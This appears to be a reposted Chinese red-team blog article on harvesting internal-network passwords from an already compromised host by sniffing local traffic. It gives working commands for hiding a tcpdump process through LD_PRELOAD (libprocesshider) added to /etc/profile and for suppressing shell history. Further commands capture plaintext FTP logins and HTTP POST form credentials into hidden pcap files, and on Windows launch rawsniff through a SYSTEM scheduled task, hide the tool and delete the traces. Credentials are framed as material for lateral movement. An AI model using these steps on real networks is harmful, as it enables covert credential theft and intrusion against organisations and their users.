内网密码搜集 [ 本地嗅探 ]

  • A+
所属分类:安全文章

内网密码搜集 [ 本地嗅探 ]


声明:

    文章初衷仅为攻防研究学习交流之用,严禁利用相关技术去从事一切未经合法授权的入侵攻击破坏活动,因此所产生的一切不良后果与本文作者及该公众号无关


实战场景:

    第一种情况,当提到一台linux机器权限,得知上面起的有ftp(比如,vsftpd),并且可以确认ftp用户就是系统用户(非虚拟用户),而此时的主要目的也是为了搜集密码去搞其它机器,可由于对方把密码设置的比较复杂,从shadow里撸出来的ssh密码hash没一个能跑出来的,然后就习惯性看了下,发现机器上装有tcpdump(其实很多运维默认就习惯把它装上,方便自己平时排查问题),后面的事情就很清晰了,直接用它监听本机的21端口等明文账号密码即可(此处暂不考虑ftps加密登录),把流量存到pcap里,后续脱下来分析,之后再拿着这些系统账号密码再反过来撞本机或者是撞内网的其它系统


    第二种情况,假设通过其它手段搞到内网的一台Web服务器,翻到本地的数据库配置文件,但配置文件加密了,或者没加密连到数据库撸出网站管理密码,发现解不开,需要再次强调初衷,此处的主要目的并不是为了这个站,而是希望通过这个站能抓到更多有用的管理账号密码,此时一样,通过tcpdump 抓取当前机器Web端口的所有POST表单(暂不考虑HTTPS的情况),之后再拿着这些表单里的账号密码(虽然解不开,但可以抓呀内网密码搜集 [ 本地嗅探 ])去试其它的内网系统即可


说明:

    铺垫这些的目的只是为了告诉弟兄们,横向不是只有 wmi, schtasks/at, smb, pth, ptt, scm, winRM, rdp,令牌窃取,各种集控下发,组策略下发,ssh...实战中在有了账号密码的前提下,对应端口正常通的情况下,横向过程过去可能只是一瞬间的事情,但前期搜集各种账号密码的过程往往异常艰辛而漫长,有运气好的时候,但谁也不敢保证自己每次都运气那么好,所以,还是得想方设法自己去主动创造各种机会抓密码,经常有兄弟会跟我说,各种横不动,暂不考虑那种确实非常极端变态的内网环境,其实一般情况下(时间允许的情况下),可能都是搜集能力稍微有些弱,思路没有完全放开所致,不要把"搜集"理解的太狭隘了,各种漏洞利用也是搜集的其中一种方式而已,很多利用的最终目的不就是为了能获取到某个关键的系统密码,ok,说完就来实际简单演示下 ( windows & Linux )


0x01 Linux下

    首先,隐藏tcpdump进程,因为可能要长时间持续监听,所以最好还要把tcpdump进程稍微隐藏下,隐藏方式libprocesshider(利用 LD_PRELOAD 来劫持系统函数,适用于CentOS 5.x,6.x),没啥太多好说的,用完之后删掉对应的环境变量和so之后重启服务器即可,注意,如果你当前操作过程中,发现那边有root正在线,最好等它退出再操作,不然你这边操作完那边还是能在自己的进程列表里看到,退出重新登录后,环境变量才能生效

# export HISTCONTROL=ignorespace      养成习惯,带空格敲命令,只对当前shell进程有效,记得把后续要执行的所有命令前都带个空格,避免记录到命令历史# w# last# make# mv libprocesshider.so /usr/local/lib# echo "export LD_PRELOAD=/usr/local/lib/libprocesshider.so" >> /etc/profile# source /etc/profile# sed -i "/libprocesshider/d" /etc/profile

内网密码搜集 [ 本地嗅探 ]

    

    接着,利用系统计划任务启动起监听,一旦看到pcap生成以后,说明我们的监听已经启动了,此时立即去干掉计划任务,留在里面有些明显,最后用完记得把tcpdump进程也都一并干掉

内网密码搜集 [ 本地嗅探 ]

    

    FTP 账号密码,实际抓取效果,一般情况下,内网的FTP一般人不会非常多,而且我们也不可能持续很很长的时间一直在那儿监听,最多挑几个上班的频繁时段去抓下

内网密码搜集 [ 本地嗅探 ]


    如下,抓取jenkins 和 Tomcat(配置文件就能撸到不用抓,此处只是为了演示效果)的明文账号密码(暂不考虑HTTPS,内网HTTPS也相对较少),jenkins用户账号密码相对其他系统还是比较有价值的,毕竟里面几乎都是技术人员的账号密码,后期拿去撞其它系统的成功率也会更大些,另外,像jenkins这种,一般每天的流量都不会非常大,所以不必过于担心pcap会很大

# tcpdump -i eth0 -s 0 -A -vv dst host 192.168.159.6 and port 8080 -w /tmp/.WebCache.pcap

内网密码搜集 [ 本地嗅探 ]

内网密码搜集 [ 本地嗅探 ]

    

    亦可专门针对POST表单抓,挑个好时段(比如,早期上班八点半-> 九点 or 九点 -> 九点半,因为这个),抓一会儿就立即关掉,防止pcap太大

# tcpdump -i eth0 -s 0 -A -vv 'tcp port 80 and (tcp[((tcp[12:1] & 0xf0) >> 2):4] = 0x504f5354)' -w /tmp/.WebCache.pcap

内网密码搜集 [ 本地嗅探 ]


0x03 Windows 下

    把监听写到netdump.bat, 此处暂以抓取ftp登录密码为例, rawsniff规则不能指定的非常精细,不过有源码后期可以尝试改改

C:Toolsrawsniff.exe --tcp --pcap ---dst_ip 192.168.159.133 --dst_port 21 --listen 192.168.159.133


    同样,利用系统计划任务去起监听 ( 此处暂不考虑schtasks.exe被拦的情况 ), 默认生成的pcap文件会被放在 C:WindowsSysWOW64 目录下

# schtasks /create /RL HIGHEST /F /tn "NetDump" /tr "C:Toolsnetdump.bat" /sc DAILY /mo 1 /ST 08:45 /RU SYSTEM# schtasks /query | findstr "NetDump"# schtasks /run /tn "NetDump"# schtasks /delete /F /tn "NetDump"# schtasks /tn "NetDump" /query /fo list /v# Attrib +s +a +h +r C:Toolsrawsniff.exe      文件记得随手隐藏,虽然没什么卵用# del C:Toolsnetdump.bat /F

内网密码搜集 [ 本地嗅探 ]

内网密码搜集 [ 本地嗅探 ]


同上,抓其它Web端口也都是一模一样的操作

# rawsniff.exe --tcp --pcap ---dst_ip 192.168.159.154 --dst_port 81 --listen 192.168.159.154rawsniff.exe --tcp --pcap ---dst_ip 192.168.159.154 --dst_port 8080 --listen 192.168.159.154


注意事项:

    所有的嗅探动作,务必在高权限(root/system/administrator)下进行,挑个好时段,耐心等待,抓完就关,不建议在流量非常大的端口上进行这种嗅探操作,至于想抓什么密码,要完全根据您自己的实际需求来了,上面都只是为了演示,祝好运内网密码搜集 [ 本地嗅探 ]



    如果觉得确实还不错,欢迎转发留言,以便让更多真正需要的人都能看到


    非常期待能和更多真正志同道合弟兄一起深入交流学习,( 还是那句话,维护不易,乱七八糟的人就不要来了,非常感谢 )

内网密码搜集 [ 本地嗅探 ]


本文始发于微信公众号(红队防线):内网密码搜集 [ 本地嗅探 ]

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: